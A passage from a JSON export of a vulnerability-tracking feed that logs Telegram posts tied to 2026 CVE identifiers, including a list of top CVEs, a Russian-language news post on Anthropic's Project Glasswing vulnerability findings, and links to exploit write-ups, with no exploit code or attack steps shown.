Apache, ClickHouse & more.\n\n\ud83d\udc49 https://bugbunny.ai", "creation_timestamp": "2026-09-02T06:00:13.885139Z"}, {"uuid": "003a765b-a335-4dca-906d-c84850efbcd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27896", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/43158", "content": "\u26a0\ufe0f Top CVEs in 2026 \u26a0\ufe0f\n\n1\ufe0f\u20e3  CVE-2026-2441:\nGoogle Chrome Blink RCE\n2\ufe0f\u20e3  CVE-2026-27896: \nBypassing Security Controls in MCP Go SDK\n3\ufe0f\u20e3  CVE-2026-20841:\nWindows Notepad RCE\n4\ufe0f\u20e3  CVE-2026-20817:\nWindows Error Reporting ALPC Privilege Escalation\n5\ufe0f\u20e3  CVE-2026-25253:\nClawdbot/Moltbot/OpenClaw One-click RCE", "creation_timestamp": "2026-09-02T06:00:16.113873Z"}, {"uuid": "1c576e18-b815-415d-9c2c-1459f7f38a16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://t.me/Russian_OSINT/7197", "content": "\ud83c\ude01 \u041f\u0435\u0440\u0432\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043f\u0440\u043e\u0435\u043a\u0442 Glasswing\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Anthropic \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u0435\u0436\u0438\u0435 \u0446\u0438\u0444\u0440\u044b \u043f\u043e \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u0435 Project Glasswing. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438 \u043e\u043a\u043e\u043b\u043e 50 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u043f\u0430\u0440\u0442\u043d\u0451\u0440\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u0443\u044e \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \ud83e\udd16Mythos Preview \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \ud83d\ude06\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e \u0432\u0430\u0436\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f. \u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043c\u0435\u0441\u044f\u0446 \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 \u2194\ufe0f10 000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udda5 \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Cloudflare \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 2 000 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445. \u0418\u0437 \u043d\u0438\u0445 400 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c, \u0447\u0435\u043c \u0443 \u043b\u044e\u0434\u0435\u0439-\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u043e\u0432.\n\n\ud83e\uddca \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Mozilla \u043d\u0430\u0448\u043b\u0438 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 271 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Firefox 150.\n\n\ud83c\uddec\ud83c\udde7\u0418\u043d\u0441\u0442\u0438\u0442\u0443\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0418\u0418 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e Mythos \u0441\u0442\u0430\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c \u0441 \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438 \u043d\u0430 \u043e\u0431\u043e\u0438\u0445 \u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u043b\u0438\u0433\u043e\u043d\u0430\u0445, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0441\u043e\u0431\u043e\u0439 \u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u0438 \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a.\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 Anthropic \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0432 \u0441\u0444\u0435\u0440\u0435 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0442\u0430\u043b\u0430 \u043d\u0435 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c \u043f\u043e\u0438\u0441\u043a\u0430 \u043e\u0448\u0438\u0431\u043e\u043a, \u0430 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0430\u0442\u0447\u0438. \u041d\u043e\u0432\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0441\u0432\u043e\u044e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435, \u043a\u043e\u0433\u0434\u0430 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0431\u0430\u043d\u043a\u043e\u0432-\u043f\u0430\u0440\u0442\u043d\u0435\u0440\u043e\u0432 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u043d\u0430 \u0441\u0443\u043c\u043c\u0443 $1,5 \u043c\u043b\u043d.\n\n\u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438:\n\n\ud83d\udd0d \u041f\u043e\u0438\u0441\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\u2022 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \u0432\u044b\u044f\u0432\u0438\u043b\u0430 23 019 \"\u043d\u0430\u0445\u043e\u0434\u043e\u043a\". \u0424\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043b\u044e\u0431\u044b\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0430\u0441\u0442\u043a\u0438 \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0438.\n\u2022 \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438 1 900 \u043d\u0430\u0445\u043e\u0434\u043e\u043a.\n\u2022 \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u044c 1 726 \u0431\u0430\u0433\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e\u043b\u044f \u0442\u043e\u0447\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 90,8%.\n\u2022 \u041e\u0441\u043e\u0431\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-27654, CVE-2026-5199 \u0438 CVE-2026-5466.\n\n\ud83d\udce8 \u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \n\u2022 \u0410\u0432\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e \u043e 1 596 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445.\n\u2022 \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043e\u0445\u0432\u0430\u0442\u0438\u043b\u0430 281 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \n\u2022 \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u041f\u041e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e 1 451 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\ud83d\udee1 \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \n\u2022 \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 97 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\u2022 \u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043e 88 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 CVE \u0438 GHSA.\n\n\ud83d\udc46\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u0440\u0435\u043b\u0438\u0437 \ud83e\udd16Mythos \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f.\n\n--------------------------\n\n\ud83d\udcd6\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c \u0442\u043e\u0442 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0438 \u0431\u044b\u0432\u0448\u0438\u0445 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u0445 \u0447\u0438\u043d\u043e\u0432\u043d\u0438\u043a\u043e\u0432, \u0411\u0435\u043b\u044b\u0439 \u0434\u043e\u043c \u043e\u0434\u043e\u0431\u0440\u0438\u043b \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u0443\u043c\u043c\u0443 $9 \u043c\u043b\u0440\u0434 \u0434\u043b\u044f \u043f\u0440\u0438\u043e\u0431\u0440\u0435\u0442\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0445 \u0447\u0438\u043f\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0441\u043b\u0443\u0436\u0431\u0430\u043c \u0421\u0428\u0410 \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043d\u043e\u0432\u0435\u0439\u0448\u0438\u0445 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0441 \u0430\u043a\u0446\u0435\u043d\u0442\u043e\u043c \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043a\u0438\u0431\u0435\u0440\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u0438 \u043e\u0431\u043e\u0440\u043e\u043d\u044b.\n\nNYT \u043f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \ud83c\uddfa\ud83c\uddf8\u0426\u0420\u0423 \u0438 \ud83c\uddfa\ud83c\uddf8\u0410\u041d\u0411 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0439 \u043c\u0435\u0440\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043d\u043e\u0432\u0435\u0439\u0448\u0438\u0435 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0437\u0430\u0441\u0435\u043a\u0440\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0445\u0432\u0430\u0442\u043a\u0438 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0445 \u043c\u0438\u043a\u0440\u043e\u0441\u0445\u0435\u043c. \u0414\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0434\u0430\u0442\u0430-\u0446\u0435\u043d\u0442\u0440\u044b, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043b\u043e\u0441\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043c\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u044d\u043d\u0435\u0440\u0433\u0438\u0438 \u0438 \u043e\u0441\u043d\u0430\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 \u0436\u0438\u0434\u043a\u043e\u0441\u0442\u043d\u043e\u0433\u043e \u043e\u0445\u043b\u0430\u0436\u0434\u0435\u043d\u0438\u044f.\n\n\u041a\u043e\u043d\u0433\u0440\u0435\u0441\u0441 \u0421\u0428\u0410 \u0435\u0449\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u044d\u0442\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0443\u0436\u0435 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 $800 \u043c\u043b\u043d \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0437\u0430\u043a\u0443\u043f\u043a\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u043e\u0449\u043d\u043e\u0441\u0442\u0435\u0439. \u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432, \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0435\u0449\u0435 \u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0443\u043c\u043c\u044b. \u0411\u044b\u0432\u0448\u0438\u0439 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0410\u041d\u0411 \u0438 \u0441\u0442\u0430\u0440\u0448\u0438\u0439 \u043d\u0430\u0443\u0447\u043d\u044b\u0439 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a \u043f\u043e \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c \u0418\u0418 \u0432 \u0421\u043e\u0432\u0435\u0442\u0435 \u043f\u043e \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u044b\u043c \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f\u043c \u0412\u0438\u043d\u044c \u041d\u0433\u0443\u0435\u043d \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u043b, \u0447\u0442\u043e \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0435 \u0440\u0443\u0431\u0435\u0436\u0438, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u043b\u0443\u0447\u0448\u0438\u0435 \u0418\u0418-\u0447\u0438\u043f\u044b, \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438, \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0442\u0430\u043b\u0430\u043d\u0442\u044b.\n\n\u0413\u043b\u0430\u0432\u0430 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u0430 \u0411\u0435\u043b\u043e\u0433\u043e \u0434\u043e\u043c\u0430 \u0421\u044c\u044e\u0437\u0438 \u0423\u0430\u0439\u043b\u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0430 \ud83c\udfa9\u0410\u041d\u0411 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 Mythos \u043e\u0442 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Anthropic. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u043e \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u041f\u0435\u043d\u0442\u0430\u0433\u043e\u043d \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043b \u0434\u0430\u043d\u043d\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0434\u043b\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n\u270b @Russian_OSINT", "creation_timestamp": "2026-09-02T06:00:17.550829Z"}, {"uuid": "b2886a69-42c7-42f9-8219-fc94d401819b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27509", "type": "seen", "source": "https://t.me/proxy_bar/3558", "content": "https://core-jmp.org/2026/07/unitree-go2-rce-cve-2026-27509-27510/", "creation_timestamp": "2026-09-02T18:00:06.328372Z"}, {"uuid": "4f07ffb3-5234-488f-9d91-5688226a9ecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2796", "type": "seen", "source": "https://t.me/proxy_bar/3562", "content": "Reverse Engineering CVE-2026-2796: How Claude Built a Firefox WebAssembly Exploit\n\nOriginal text: \"Reverse engineering Claude\u2019s CVE-2026-2796 exploit\" \u2014 Evyatar Ben Asher, Keane Lucas, Nicholas Carlini, Newton Cheng, and Daniel Freeman, Anthropic Frontier Red Team (6 March 2026). The prose below is an independent technical summary; the code listings are reproduced verbatim from the source with attribution.\n\nExecutive Summary\n\nIn March 2026 Anthropic\u2019s Frontier Red Team\u2026\n\nhttps://core-jmp.org/2026/07/cve-2026-2796-claude-firefox-webassembly-exploit/", "creation_timestamp": "2026-09-02T18:00:06.421518Z"}, {"uuid": "954c7824-3ed0-4589-8222-a14df6ba3066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2796", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/3562", "content": "Reverse Engineering CVE-2026-2796: How Claude Built a Firefox WebAssembly Exploit\n\nOriginal text: \"Reverse engineering Claude\u2019s CVE-2026-2796 exploit\" \u2014 Evyatar Ben Asher, Keane Lucas, Nicholas Carlini, Newton Cheng, and Daniel Freeman, Anthropic Frontier Red Team (6 March 2026). The prose below is an independent technical summary; the code listings are reproduced verbatim from the source with attribution.\n\nExecutive Summary\n\nIn March 2026 Anthropic\u2019s Frontier Red 